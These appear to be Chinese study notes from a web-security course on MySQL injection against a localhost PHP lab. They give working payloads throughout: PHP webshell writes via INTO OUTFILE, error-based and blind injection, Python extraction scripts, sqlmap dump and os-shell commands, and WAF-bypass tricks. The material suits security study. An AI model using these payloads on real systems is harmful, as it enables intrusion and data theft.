SQL-木马植入、报错注入及其他
一、读写权限确认
show global variables like '%secure%';
查看mysql全局变量的配置,当输入以上命令时,结果
secure_file_priv = 空的时候,任意读写
secure_file_priv = 某个路径的时候,只能在规定的那个路径下读写
secure_file_priv = NULL 不能读写
http://localhost/security/read.php?id=-1%20union%20select%201,2,3,(select%20LOAD_FILE(%22/localhost/security/read.php%22)),5,6
无法在数据库里面查找到read.php这个文件,其实是存在的,但值为NULL,所以就将4变成了空值
二、读取文件内容
利用SQL语句读取系统文件,先读取常规文件(明确路径),如果能够成功读取,则继续读取其他文件。如果明确知道路径,则直接尝试爆破路径下的文件,如果连路径都不知道,则爆破路径。
-1 union select 1,2,3,load_file("/etc/passwd"),5,6
三、写入木马
/security/read.php?id=-1 union select 1,2,3,"HelloWoniu",5,6 into outfile "/opt/lampp/htdocs/security/temp/muma.php"
-1 union select 1,2,3, 4 , 5,"<?php phpinfo(); ?>" into outfile "D:/XamppNew/htdocs/security/muma.php"如果列的数量未知,也可以不停地试,然后注入一次,访问一次,确认是否注入成功-1 union select 1,2,3,4,5,"<?php eval($_POST['a']);?>" into outfile "/opt/lampp/htdocs/security/muma.php"一句话木马
<?php @eval($_GET['a']); ?>
eval可以将一段字符串当成代码来执行,如果用户可以直接将这段有效的PHP代码传入后台,则可以执行任意代码或指令/security/temp/muma2.php?a=phpinfo();
/secueity/temp/muma2.php?a=echo date('Y-m-d H:i:s');
/security/temp/muma2.php?a=system('ip addr');
/security/temp/muma2.php?a=system('cat /etc/passwd');
报错注入
一、Union查询注入不适用的地方
1、注入语句无法截断,且不清楚完整的SQL查询语句
2、页面不能返回查询信息的时候
3、Web页面中有两个SQL查询语句,查询语句的列数不同
二、关于MySQL处理XML
1、先准备以下XML文件内容
<class id="WNCDC085"><student sequence="1"><id>WNCD201703015</id><name>敬小越</name><sex>男</sex><age>24</age><degree>本科</degree><school>电子科技大学成都学院</school></student><student sequence="2"><id>WNCD201703020</id><name>何小学</name><sex>男</sex><age>29</age><degree>本科</degree><school>成都理工大学</school></student><student sequence="3"><id>WNCD201703025</id><name>杨小言</name><sex>女</sex><age>22</age><degree>大专</degree><school>四川华新现代职业学院</school></student>
</class>
2、创建一张表,其中有一列的值为上述XML文件
本示例中xmltable为表名,testxml为列名,只有一行一列,值为上述XML文本。
3、执行以下SQL语句
#查询何小学
select extractvalue(testxml,'//student[@sequence="2"]/name') from xmltable
#将何小学修改为何大学
update xmltable set testxml = updatexml(testxml,'//student[@sequence="2"]/name',"<name>何大学</name>")
当union select出现不适用的情形下,我们通常使用报错来进行注入
报错注入的原理就是通过构造特殊的报错语句,使mysql数据库报错,使我们查询的内容显示在报错信息中,同时把报错信息显示在页面上
常用的报错函数有undateXML(),extractvalue(),floor()等等。
大致报错的原理是利用输入字符串逻辑上的冲突造成报错
1 and updatexml(1,concat(0x7e,database(),0x7e),1)
1 and updatexml(1,concat(0x7e,select group_concat(table_name) from information_schema.tables where table_schema='learn',0x7e),1)0x7e为~
http://localhost/security/read.php?id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)
http://localhost/security/read.php?id=1%20and%20updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27learn%27%20limit%200,1),0x7e),1)
updatexml函数的参数:
concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出相关信息。
0x7e是ASCII码,实为updatexml()报错信息为特殊字符、字母之后的内容,为了防止前面字母丢失,开头连接一个特殊字符~
以下payload构造了正确的xpath路径,无法实现报错:
http://localhost/security/read.php?id=1%20and%20updatexml(1,%22//name%22,1)
常用报错注入payload
事实上报错注入适用的场景很多,不光是select、insert、update、delete都会有涉及,并且用的很多。
1、uploadxml报错:
and 1=(updatexml(1,concat(0x7e,(select user()),0x7e),1))http://localhost/security/read.php?id=1%20and%20updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27learn%27%20limit%202,1),0x7e),1)2、extractvalue报错
and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables limit 1),0x7e));3、floor报错
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);有单引号的:?id=1' and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
没有单引号的:?id=1 and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
floor报错
如果使用MySQLi模块进行数据库操作,默认情况下,当执行 mysqli_query时将不会报错,可以使用echo mysqli_error($conn)来推出错误信息。
盲注
盲注的使用场景:没有回显的时候。
一、Boolean型注入
Boolean是基于真假的判断(true or false);不管输入什么,结果都只返回真或假两种情况。Boolean型盲注的关键在于通过表达式结果与已知值进行比对,根据比对结果判断正确与否。
盲注有时需要一个一个字符去猜,因此一些字符串操作的函数经常被用到。
length():返回查询字符串长度
mid(column_name,start,length):截取字符串
substr(string,start,length):截取字符串
left(string,n):截取字符串
ORD():返回字符的ASCII码
ASCII():返回字符的ASCII码
http://localhost/security/read.php?id=1 and updatexml(1,"~",1)$result = mysqli_query($conn,$sql) or die("");
输入错误的话返回的结果为空
http://localhost/security/read.php?id=1 and updatexml(1,"//name",1)
http://localhost/security/read.php?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)
http://localhost/security/read.php?id=1 and length(database())>5
http://localhost/security/read.php?id=1 and length(database())=5
举例:
1 and length(database())=5 #先盲注获取长度
1 and substr(database(),1,1)='e'--+ 如果正确响应结果,说明数据库名的第二个字符是e
使用Burpsuite进行遍历,获取正确的数据库名称。
http://localhost/security/read.php?id=1 and substr(database(),1,1)='l'--+
可以在Burpsuite中对单引号中的东西进行爆破。然后得出正确的数据库名字的第一个字符
--+有没有都可以,都会得出正确的数据库名字的第一个字符
进行爆破
http://localhost/security/read.php?id=1 and (select substr(database(),1,1)='l') #构造更复杂的SQL语句
二、时间型漏洞
Boolean盲注还是能够通过页面返回的对错来判断,当页面任何信息都不返回的时候,就需要用时间盲注了。时间盲注就是在布尔盲注的基础上,首先经过真假的判断,然后在真假判断上添加时间的判断。
时间盲注所需要函数大多与布尔相同
length():返回查询字符串长度
mid(colunmn_name,start,length):截取字符串
sunstr(string,start,length):截取字符串
left(string,n):截取字符串
ORD():返回字符串的ASCII码
ASCII():返回字符的ASCII码
if():逻辑判断
sleep():控制时间
benchmark():控制时间
http://localhost/security/read.php?id=1 and (select substr(database(),1,1)='l')
#由于没有任何的回显信息,所以就算是注入成功的情况下也不会发生任何的回显(使用盲注)
#由于没有任何回显的信息,所以得用时间型盲注
执行这三条语句,会出现三种结果,因为有三种语句,且中间有时间间隔器,时间间隔为5秒
使用python脚本去看该请求是否成功
import requests,timefor len in range(1,50):start = time.time()header = {"Cookie":"PHPSESSID=981obibk4q7nnts223r7jg1vfa"}url = f"http://localhost/security/read.php?id=1 and if(length(database())={len},sleep(3.5),1)"resp = requests.get(url=url,headers=header)end = time.time()resptime = end-startif int(resptime) >= 3:print(len)break
举例:
1 and if(length(database())=5,sleep(3),1)
1 and if(substr(database(),1,1)='a',sleep(3),1)
1 and (select benchmark(50000000,(select username from user limit 1)))
SQLMap工具
一、SQLMap拖库
SQLMap可以完成注入点的发现,数据库类型的确认,WebShell权限和路径的确认,拖库等一系列功能。测试的payload共分为5级:Level1 ~ Level5,Level1属于基础级,Payload相对较少,Level5 Payload很多。
首先先进入sqlmap里面
cd sqlmap-dev
python sqlmap.py -h
成功进入sqlmap,然后进行操作就行
1、当我们发现注入点的时候
python sqlmap.py -u "http://localhost/security/read.php?id=1" --cookie="PHPSESSID=981obibk4q7nnts223r7jg1vfa"
2、查看所有的数据库
sqlmap -u "http://localhost/security/read.php?id=1" --dbms=mysql --dbs
3、查看当前使用的数据库
sqlmap -u "http://localhost/security/read.php?id=1" --current-db
4、发现使用的是learn数据库,接下来对此数据库进行查询
sqlmap -u "http://localhost/security/read.php?id=1" --tables -D "learn"c
5、查出所有表以后,对user表的列名进行查询
sqlmap -u "http://localhost/security/read.php?id=1" --columns -T "learn2" -D "learn"
6、users表中的列名已经知道了,可以直接查出所有数据
python sqlmap.py -u "http://localhost/security/read.php?id=1" --dump -C "userid,username,password" -T "learn2" -D "learn"
完成拖库操作后,可以在输出中查到表数据,也可以直接根据显示信息进入相应文件查看内容
7、直接指定数据库类型,节省检测时间
python mysql.py -u "http://localhost/security/read.php?id=1" --dbs --dbms=mysql
8、判断是否是DBA
python mysql.py -u "http://localhost/security/read.php?id=1" --dbms=mysql --is-dba
二、POST和Cookie
1、如果某个注入点需要先登录,那么可以手工登录后,使用相同的Cookie进行处理
python sqlmap.py -u "http://localhost/security/read.php?id=1" --cookie="PHPSESSID=83nls93p4nrm2k8n1e6tb2q62l" --dbs
如果出现多个参数的话,使用-p指定一个所需要的参数即可
三、OS-Shell
1、整个过程分为三个部分:
(1)猜测网站绝对路径
(2)尝试写入木马
(3)获取到Shell命令行
python sqlmap.py -r ./sql-post.txt -p id --cookie="PHPSESSID=83nls93p4nrm2k8n1e6tb2q62l" --dbms=mysql --os-shell
2、手工读写文件
#读取远程服务器上的文件
python sqlmap.py -r ./sql-post.txt -p id --cookie="PHPSESSID=83nls93p4nrm2k8n1e6tb2q62l" --dbms=mysql --file-read "/etc/passwd"
#当SQL不能自动完成木马植入时,可以使用此命令进行手工注入:
python sqlmap.py -r ./sql-post.txt -p id --cookie="PHPSESSID=83nls93p4nrm2k8n1e6tb2q62l" --dbms=mysql --file-write ./mm.php --file-dest /opt/lampp/htdocs/security/temp/mm.php#此时,也可以使用Python调用sqlmap的命令(os.popen("").read())进行盲猜,循环遍历目录字典文件。
python sqlmap.py -u "http://localhost/security/read.php?id=1" --cookie="PHPSESSID=981obibk4q7nnts223r7jg1vfa" --dbms=mysql --file-write ./mm.php --file-dest /opt/lampp/htdocs/security/temp/mm.php --batch# --batch参数可以直接一次性运行完,SQLMap中途不会询问(非交互模式),按照默认设置,适合于自动化。
其他注入
一、更新注入
所有更新类的操作,只返回布尔型的结果,并不会返回数据,所以无法像select一样进行多样化的处理。所以更新类的操作的核心就是构建报错注入的payload。
insert into learn2(username,password,role) values ('wowo' or updatexml(1,concat(0x7e,database(),0x7e),1) or '','123456','user')update learn2 set username = 'wowo' where userid=1 or updatexml(1,concat(0x7e,database(),0x7e),1)
update learn2 set password = '1111' or updatexml(1,concat(0x7e,database(),0x7e),1) or '' where userid=1delete from learn2 where userid=14 or updatexml(1,concat(0x7e,database(),0x7e),1)
更新类的注入也可以适用于HTTP头注(无论哪里注入,只要其字段值可以操作到数据库就行)
二、堆叠注入
select * from user where userid=1;update user set password='123456789' where userid=1
上述payload的PHP复现代码:
include "commond.php";
$conn = creat_connection_oop();$id=$_GET['id'];
$conn->multi_query("select * from learn2 where userid=$id; #必须使用multi_query函数或方法
$result = $conn->store_result();
$rows = $result->fetch_row();
var_dump($conn);
http://localhost/security/misc.php?id=1
http://localhost/security/misc.php?id=3;update learn2 set password='123456789' where username='admin'
三、二次注入
二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到SQL查询语句中导致的注入
//第一步:先完成注册,使用addslashes
$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);
$sql = "insert into user(username,password) values('$username','$password')";
$conn->query($sql);
//第二步:修改用户的密码
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "update user set password='$password' where username='$username'";
$conn->query($sql);
第一步:先完成注册
第二步:修改用户的密码
四、宽字节注入
正常sql语句: select *from learn3 where articleid='1';
当输入1'时,在addslashes函数的保护下,单引号'被加反斜杠\转义。被转义时的sql语句:select * from learn3 where articleid='1\'';
当输入1%bf'时,在gbk等宽字符集的环境下,%bf和用来转义的(%5c)形成新字符。注入时的语句:select * from learn3 where articleid=1%bf\' and 1=1%23;
%bf与转义符号(16进制为%5c)组合成了%bf%5c形成新字符,从而吃掉了这个转义字符,导致单引号可以闭合,形成经典的注入形式。
$conn = mysqli_connect('127.0.0.1','root','root','learn') or die("数据库连接不成功");
mysqli_query($conn,"set names gbk");
$id = addslashes($_GET['id']);
$sql = "select * from learn3 where articleid='$id'";
echo $sql . "<br>";
$result = mysqli_query($conn,$sql) or die("");
$article = mysqli_fetch_assoc($result);
echo $article['headline'] . "<br/><hr>" . $article['content'];
http://localhost/security/misc.php?id=1
http://localhost/security/misc.php?id=1'
http://localhost/security/misc.php?id=1' --+
http://localhost/security/misc.php?id=1' and 1=2 --+
http://localhost/security/misc.php?id=1%DD' and 1=2 --+
http://localhost/security/misc.php?id=1%DD' and 1=1 --+
五、URL解码注入
只要字符被转换理论上就有注入的可能,现在对sql注入的防御主要也是对各类单引号、双引号、反斜杠和null加上反斜杠进行转义。如果某个地方使用了urldecode或者rawurldecode函数的话,就会导致二次解码生成单引号引发注入。
原理是当我们提交web参数的时候;web服务器会自动对url编码进行1次解码,假设目标有了过滤,我们提交id=1%2527时候,没有带单引号(单引号url编码为%27),这时候服务器会自动解码,解码的是%25,而%25的解码结果刚好是%,就能刚好和剩下的27组合成%27,如果程序里面还有urldecode这样的解码函数的话,将会引发二次解码,这样解码后就变成id=1',引发注入。
所以这类注入可以搜索urldecode或者rawurldecode来挖掘。
$conn = create_connect_oop();
$id = urldecode(addslashes($_GET['id']));
echo $id . "<br/>";
$result = $conn->query("select * from learn2 where userid='$id'");
$rows = $result->fetch_row();
var_dump($rows);
python脚本内容如下:
import requests,time#时间型盲注
def time_blind():for len in range(1,50):start = time.time()header = {"Cookie":"PHPSESSID=981obibk4q7nnts223r7jg1vfa"}url = f"http://localhost/security/read.php?id=1 and if(length(database())={len},sleep(3.5),1)"resp = requests.get(url=url,headers=header)end = time.time()resptime = end-startif int(resptime) >= 3:print(len)break#布尔型盲注爆列名
def bool_blind():chars = "abcdefghijklmnopqrstuvwxyz0123456789_,"session = requests.session()base_url = "http://localhost/security/read.php?id=1"header = {"Cookie":"PHPSESSID=1kbae2jat0cn753u2tmk85urhm"}#先定义猜对的时候的长度resp = session.get(url=base_url + " and 1=1", headers=header)base_len = len(resp.text)#先获取数据库长度for db_len in range(1,20):url = f"{base_url} and length(database())={db_len}"resp = session.get(url=url,headers=header)if len(resp.text) == base_len:breakprint(f"数据库长度为: {db_len}")#根据数据库长度猜名称db_name = ''for i in range(1,db_len+1):for c in chars:url = f"{base_url} and substr(database(),{i},1)='{c}'"resp = session.get(url=url,headers=header)if len(resp.text) == base_len:db_name += cbreakprint(f"数据库名称为: {db_name}")#根据数据库名称猜表名table_name = ''for i in range(1,40):for c in chars:sql = f"select group_concat(table_name) from information_schema.tables where table_schema='{db_name}'"url = f"{base_url} and substr(({sql}),{i},1)='{c}'"resp = session.get(url=url,headers=header)if len(resp.text) == base_len:table_name += cbreakprint(f"数据库中表的名称为:{table_name}")#猜所有表的列名table_list = table_name.strip().split(',')for table in table_list:column_name = ''for i in range(100):for c in chars:sql = f"select group_concat(column_name) from information_schema.columns where table_schema='{db_name}'" #table_schema='{db_name}'url = f"{base_url} and substr(({sql}),{i},1)='{c}'"resp = session.get(url=url,headers=header)if len(resp.text) == base_len:column_name += cbreakprint(f"表{table}的列名为: {column_name}")if __name__=='__main__':# time_blind()bool_blind()
六、奇技淫巧
1、闭合与逻辑
payload:1' or '1' = '1 闭合后:id='1' or '1'='1'
也可以写成:1' || '1'='1,同理也可以使用&&表示and
payload:1' or 1=1# 闭合后:id='1' or 1=1#'
2、所有的确定字符串,均可以使用hex函数来处理成16进制,避免引号转义
select hex('/etc/passwd')
select load_file(0x2F6574632F706173737764)select hex('learn')
select group_concat(table_name) from information_schema.tables where table_schema=0x6C6561726Eselect hex('%为什么%')
select * from learn3 where content like 0x25E4B8BAE4BB80E4B98825
3、WAF绕过
双写绕过:
select and or 等被过滤的话,可以这么构造,selselectect,anandd,这样即使被过滤了剩余字符串也能拼接成正常语句。大小写绕过:
SelecT,AnD,Or,可用来绕过简单的过滤手段编码绕过:
Base64,ASCII,16进制
select concat(char(49),char(50),char(65))特殊字符绕过:
空格:/**/,%20,%a0,%0a,%0d,%0b,%09,%0c,select(password)from(learn2)
and:&&,or:||
内联注释:select username from /*!learn2*/ /*!union*/ select 2
00截断:sel%00ect,mysql中不会截断,但是waf可能认为截断
%:sel%ect,如果是iis+asp,百分号会被忽略
代码与命令注入
<?php//@eval($_POST['code']);@assert($_POST['code']);//@preg_replace("/test/e",$_POST['code'],"tester");//$func = create_function('',$_REQUEST['code']);
//$func();//system($_POST['code']);
//echo exec($_POST['code']);
//echo shell_exec($_POST['code']);
//passthru($_POST['code']);?>
1、eval函数
在PHP中,使用eval(string)函数可以执行任意有效的PHP代码,比如eval("phpinfo();")、eval("echo date()"),也可以是更加复杂的代码,比如@eval($_POST['code']);代码,用户提交POST请求参数如下:
code=$a=10;$b=20;print($a+$b);code=$time1 = "2017-11-06 18:58:04";
$time2 = "2017-11-06 18:54:09";
echo (strtotime($time2)-strtotime($time1));或者更加复杂的代码
code=$conn = mysqli_connect('127.0.0.1','root','root','learn');
mysqli_set_charest($conn,'utf8');
$result = mysqli_query($conn,"select * from learn2");
$rows = mysqli_fetch_all($result);
var_dump($rows);
2、assert函数
assert函数用于判断一个表达式是否成立,所以会先执行该表达式,进而达到判断的目的。所以assert相对eval来说,功能要简单一些,只能执行表达式,但是依然可以达到执行代码的目的,比如针对@assert($_POST['code']);的代码,用户提交的POST请求如下:
code=phpinfo();
code=print(date("T-m-d"));除此之外,我们也可以构造让assert函数执行eval()函数的payload:
code=eval('$time1 = "2017-11-06 18:58:04";
$time2 = "2017-11-06 18:58:09";
echo (strtotime($time2)-strtotime($time1));');
3、preg_replace函数
针对@preg_replace("/test/e",$_POST['code'],"tester");构造的payload如下:
code=phpinfo();
code=print(date("Y-m-d"));
code=@eval('$a=10;$b=30;print($a+$b)');
4、create_function()函数
create_function()主要用来创建匿名函数,以下展示了其代码和payload:
$func = create_function('',$_POST['code']);
$func();code=phpinfo();
code=$a=11;$b=30;print($a+$b);
反序列化漏洞也是属于代码注入范畴
5、命令注入
在PHP中,可以直接执行操作系统的命令,函数包括:system、exec、popen、passthru、shell_exec等
system($_POST['code']); #system自带回显
echo exec($_POST['code']); #必须使用echo回显
echo shell_exec($_POST['code']);
passthru($_POST['code']);
另外一种命令注入的方式,后台直接执行系统命令,而前端参数传入的值是命令放入一部分,则也会构成命令注入漏洞。
比如后台执行命令:sudo firewall-cmd --add-port=$port/$portocal,而port参数是由前台用户传入的,构建的payload如下:
80/tcp --permanent: echo "Hello World" > /opt/lampp/htdocs/security/temp/mmmm.php;
6、HTTP头注
HTTP头被插入数据库,构建出了insert语句,那么头信息只要改造为:
//HTTP头注
$username = $_SERVER['HTTP_USER_AGENT'];
$referer = $_SERVER['HTTP_REFERER'];
$xforward = $_SERVER['HTTP_X_FORWARDED_FOR'];
$idappr = $_SERVER['ROMOTE_ADDR'];$sql = "insert into header(useragent,referer,xforward,ipaddr) values('$useragent','$referer','$xforward','ipaddr')";
$conn->query($sql);
echo mysqli_error($conn);
echo "Welcome Here";
Payload:
Referer:http://www.woniuxy.com
X-Forwarded-For:'or updatexml(1,concat(0x7e,database(),0x7e),1) or'
相关文章:
SQL-木马植入、报错注入及其他
一、读写权限确认 show global variables like %secure%; 查看mysql全局变量的配置,当输入以上命令时,结果 secure_file_priv 空的时候,任意读写 secure_file_priv 某个路径的时候,只能在规定的那个路径下读写 secure_file_pri…...
基于 PHP 内置类及函数的免杀 WebShell
前言 PHP 作为广泛使用的服务端语言,其灵活的内置类(如 DOMDocument)和文件操作机制(.ini、.inc 的自动加载),为攻击者提供了天然的隐蔽通道。通过 动态函数拼接、反射调用、加密混淆 和 伪命名空间 等手法…...
主键id设计
主键自增id 🌱 1. 自增 ID(Auto Increment ID) ✅ 特点: • 数据库自带(MySQL, PostgreSQL 都支持) • 简单易用,可读性强 • 一般作为主键自带聚簇索引(主键就是物理存储顺序&…...
文件上传绕过的小点总结(6)
14.文件上传(文件包含漏洞)二次渲染 很多服务器为了防止代码嵌入图片,通常会将上传的图片进行重新生成处理,包括文件格式转换等等,嵌入的恶意代码很容易被改掉。于是产生了二次渲染,二次渲染的原理就是找到…...
传统应用容器化迁移实践
背景介绍:从传统部署到容器化迁移的必要性 在过去的运维工作中,某企业一直依赖于传统的物理机和虚拟机部署方式。然而,随着业务的快速发展和应用规模的不断扩大,传统部署方式的局限性逐渐显现: 资源利用率低…...
混境之地1
问题描述 小蓝有一天误入了一个混境之地。 好消息是:他误打误撞拿到了一张地图,并从中获取到以下信息: 混境之地的大小为 n⋅mn⋅m,其中 # 表示这个位置很危险,无法通行,. 表示道路,可以通行。他…...
LLM 加速技术有哪些
LLM 加速技术有哪些 目录 LLM 加速技术有哪些量化(Quantization)基本原理举例剪枝(Pruning)基本原理举例动态Shape(Dynamic Shape)基本原理举例算子融合(Operator Fusion)基本原理举例量化(Quantization) 基本原理 量化是指将模型中连续取值(如32位浮点数)的参数…...
CPP从入门到入土之类和对象Ⅲ
拷贝构造函数 拷贝构造函数是一个已经存在的对象去初始化一个新的对象时,调用的函数 例如: 假设我有一个盒子,里面装了一个苹果 拷贝构造函数的特点 拷贝构造函数是构造函数的一个重载拷贝构造函数的第一个参数必须是类类型对象的引用,例如…...
安全上网沙箱:多方面解决政企私的上网问题
在数字化的浪潮中,网络已成为我们工作与生活不可或缺的一部分。然而,网络的便捷也伴随着诸多安全隐患,尤其是对于企业、个人以及政企机构而言,安全上外网成为了至关重要的课题。 隔离保护:构建安全堡垒 沙箱技术在内网…...
空转 | GetAssayData doesn‘t work for multiple layers in v5 assay.
问题分析 当我分析多个样本的时候,而我的seurat又是v5时,通常就会出现这样的报错。 错误的原因有两个: 一个是参数名有slot变成layer 一个是GetAssayData 不是自动合并多个layers,而是选择保留。 那么如果我们想合并多个样本&…...
26、web前端开发之CSS3(三)
5. 文本(Text) CSS3大大增强了对文本样式和排版的控制,使得网页设计更加灵活和多样化。本讲详细介绍CSS3中常用的文本相关属性,包括文本对齐、字体大小、行高、字母间距、单词拆分、溢出隐藏等,帮助开发者更好地控制和…...
第 8 章:使用更好的库_《C++性能优化指南》_notes
使用更好的库 第八章核心知识点解析编译与测试建议总结优化原则重点内容:第一部分:多选题(10题)第二部分:设计题答案与解析多选题答案:设计题答案示例(部分): 测试用例设…...
【面试八股】:常见的锁策略
常见的锁策略 synchronized (标准库的锁不够你用了)锁策略和 Java 不强相关,其他语言涉及到锁,也有这样的锁策略。 1. 悲观锁,乐观锁(描述的加锁时遇到的场景) 悲观锁:预测接下来…...
Apache Iceberg 解析,一文了解Iceberg定义、应用及未来发展
什么是 Iceberg? Apache Iceberg 是一种开源的 表格式(Table Format) ,专为超大规模数据分析场景设计,通过标准化数据存储规范与访问协议,解决了传统数据湖在元数据管理、事务控制、查询性能等方面的核心痛…...
Ubuntu 优化启动时间优化
优化 Ubuntu 20.04 的启动时间可以从多个方面入手,以下是详细的步骤和建议: 一、分析启动耗时 首先检查系统启动各阶段的耗时: systemd-analyze time # 查看整体启动时间 systemd-analyze blame # 列出各服务/进程的启动耗时 …...
【Git 常用指令速查表】
Git 常用指令速查表 Git 常用指令速查表目录1. 初始化仓库2. 提交代码流程3. 分支管理4. 远程仓库操作5. 撤销操作6. 查看状态与日志7. 其他实用指令完整操作示例常用场景速查表 Git 常用指令速查表 目录 初始化仓库提交代码流程分支管理远程仓库操作撤销操作查看状态与日志其…...
Linux实用操作及命令
一、各类小技巧(快捷键) 1、强制停止(ctrlc) Linux某些程序的运行,如果想要强制停止它,可以使用快捷键ctrl c 命令输入错误,也可以通过快捷键ctrl c,退出当前输入,重…...
洛谷 P10516 数据结构 Solution
Description 给定序列 a ( a 1 , a 2 , ⋯ , a n ) a(a_1,a_2,\cdots,a_n) a(a1,a2,⋯,an) 和 b ( b 1 , b 2 , ⋯ , b n ) b(b_1,b_2,\cdots,b_n) b(b1,b2,⋯,bn),有 m m m 个操作分三种: add ( l , r , k , t ) \operatorname{ad…...
在IDEA中使用TortoiseSVN
一、前言 原版SVN由于下载路径中没有svn.exe文件,导致IDEA中无法使用命令行提交项目代码,因此,现在卸载旧版本TortoiseSVN,下载附有svn.exe的新版TortoiseSVN,下载使用过程记录如下 二、下载过程 卸载就在 控制面板…...
基于 ffmpeg 实现合并视频
ffmpeg是一个强大的多媒体处理工具,支持视频文件的合并。 列出目录下所有MP4文件 import os import glob# 当前目录 directory os.getcwd() directory "/directory/to/mp4/*"# 列出目录下所有MP4文件 files glob.glob(directory)# 排序 files.sort(…...
如何在 HTML 中嵌入外部字体,有哪些注意事项?
大白话如何在 HTML 中嵌入外部字体,有哪些注意事项? 在 HTML 里嵌入外部字体,能让网页文字更有个性,瞬间提升页面的吸引力。下面就来详细说说怎么嵌入外部字体,以及其中的注意事项。 嵌入外部字体的方法 1. 使用 fo…...
三极管原理及应用
一、结构 基极(Base,符号:B) 基极是三极管的控制端,用于输入控制信号。通过基极电流的大小,可以控制集电极与发射极之间的电流导通程度,实现电流放大或开关功能。 发射极(Emitter&…...
三个串口同时打开并指定数据包控制指令思想
可以对嵌入式串口数据包指令设置做一次总结: 首先确定你的数据包大小,传统的接收串口数据到数组存储会出现需要循环遍历数组去读取数据的弊端,所以我设计了一个机制,只有当你想要读取外界指令时,才开始读取外界发过来…...
“征服HTML引号恶魔:“完全解析手册”!!!(quot;表示双引号)
🚨📢 "征服HTML引号恶魔:“完全解析手册” 📢🚨 🎯 博客引言:当引号变成"恶魔" 😱 是否遇到过这种情况: 写HTML时满心欢喜输入<div title"他…...
MQL5教程 04 脚本开发实战、指标开发基础
文章目录 一、脚本开发实战1、给脚本设置快捷键2、运行时显示输入参数界面3、开市价单4、一键平仓5、修改止盈止损6、一键删除当前图表所有挂单 二、指标开发基础 一、脚本开发实战 1、给脚本设置快捷键 在MT5导航栏中,选定脚本,鼠标右击 → 设置热键 …...
【Qt】Ubuntu22.04使用命令安装Qt5和Qt6
1、安装Qt5 注意:Ubuntu22.04已经没有 qt5-default ,因此不能一键安装啦 1)安装核心组件 sudo apt install qtbase5-dev qtchooser qt5-qmake qtcreator2)安装QtCreator sudo apt install qtcreator3)安装工具包、Qt Quick 开发的核心库(qtdeclarative5-dev) sudo a…...
海康设备http监听接收报警事件数据
http监听接收报警事件数据 海康获取设备报警事件数据两种方式: 1、sdk 布防监听报警事件数据(前面文章有示例) 2、http监听接收报警事件数据 http监听接收报警事件数据,服务端可以使用netty通过端口来监听获取事件数据。 WEB 端…...
【MVCC快照如何实现】
MVCC(多版本并发控制)快照的实现原理 MVCC(Multi-Version Concurrency Control)是现代数据库实现事务隔离级别的核心技术,它通过数据多版本和快照机制来实现高效的并发控制。下面我将详细解析MVCC快照的实现机制。 一、MVCC核心组件 1. 版本链结构 MVCC通过以下…...
STM32中不同FLASH的芯片启动文件选择规则
F103ZET6的FLASH大小是512K,所以选择startup_stm32f10x_hd.s F103C8T6的FLASH大小是64K,所以选择startup_stm32f10x_md.s 移植需要注意的事项: 从ZET6到C8T6,需要更改 1)启动文件 2)C/C选项卡...
树莓集团商业模式解析:树莓集团是国企吗?
树莓集团作为中国市场的重要企业实体,其所有制性质一直受到业界关注。从公开资料显示,树莓集团并非传统意义上的国有企业,而是一家具有混合所有制特征的现代化企业集团。其股权结构中既包含国有资本成分,也吸纳了社会资本和民营投…...
mock.js模拟数据
MOCK模拟后端数据 1.按照mock.js npm install mockjs2.在src目录下建立mock目录,在该目录下建立index.js文件,该文件中写上你所需要的数据,示例如下: import Mock from mockjs let data Mock.mock("/data/person",&…...
如何自动规整化(格式化)HTML
如果你想要自动规整化(格式化)HTML,可以使用以下方法: 方法 1:使用 VS Code 进行 HTML 格式化(推荐) 步骤 安装 Visual Studio Code打开你的 HTML 文件按下 Shift Alt F(Windows…...
MySQL数据库入门
目录 前言 一、安装软件 二、普通指令使用 三、MySQL接口API相关函数 1、API函数使用步骤 2、mysql_init-MYSQL对象初始化 3、mysql_real_connect()——数据库引擎建立连接 4、mysql_close()——关闭数据库连接 5、mysql_query()——查询数据库某表内容 6、mysql_stor…...
SpringBoot集成Couchbase开发与实践
1 前言 1.1 什么是Couchbase Couchbase 是一个高性能的 NoSQL 数据库,支持文档存储、内存缓存和分布式计算。它结合了内存数据库的速度和灵活性与传统数据库的持久性和查询能力。 1.2 Couchbase的特点与优势 高性能:利用内存缓存加速数据访问。可扩展性:支持水平扩展,能…...
一周掌握Flutter开发--8. 调试与性能优化(上)
文章目录 8. 调试与性能优化核心技能8.1 使用 Flutter DevTools 分析性能8.2 检查 Widget 重绘(debugPaintSizeEnabled)8.3 解决 ListView 卡顿(ListView.builder itemExtent) 其他性能优化技巧8.4 减少 build 方法的调用8.5 使用…...
动态路由机制MoE专家库架构在多医疗AI专家协同会诊中的应用探析
随着医疗人工智能技术的飞速进步,AI在医学领域的应用日益增多,尤其是在复杂疾病的诊断和治疗中,AI技术的应用带来了巨大的潜力。特别是动态路由机制混合专家(Mixture of Experts,MoE)架构,因其灵活、高效的特点,正逐渐成为实现多AI专家协同会诊的关键技术。通过将多个不…...
Linux上位机开发实践(开源框架和开源算法)
【 声明:版权所有,欢迎转载,请勿用于商业用途。 联系信箱:feixiaoxing 163.com】 做嵌入式软件开发,如果软件本身比较简单,只是图形界面显示,那么相关的开发工作并不难。最主要的内容也就是数据…...
算法时间复杂度分析
1. 基本概念 大 O 符号 O(f(n)) 表示算法的最坏情况复杂度,即算法在最不利情况下所需的基本操作数不会超过 O(f(n))的级别。例如,表示当输入规模 n 增大时,算法运行时间上界是某个常数乘以 。 Ω 符号 Ω(f(n)) 表示算法的下界,即…...
数据库基础知识点(系列五)
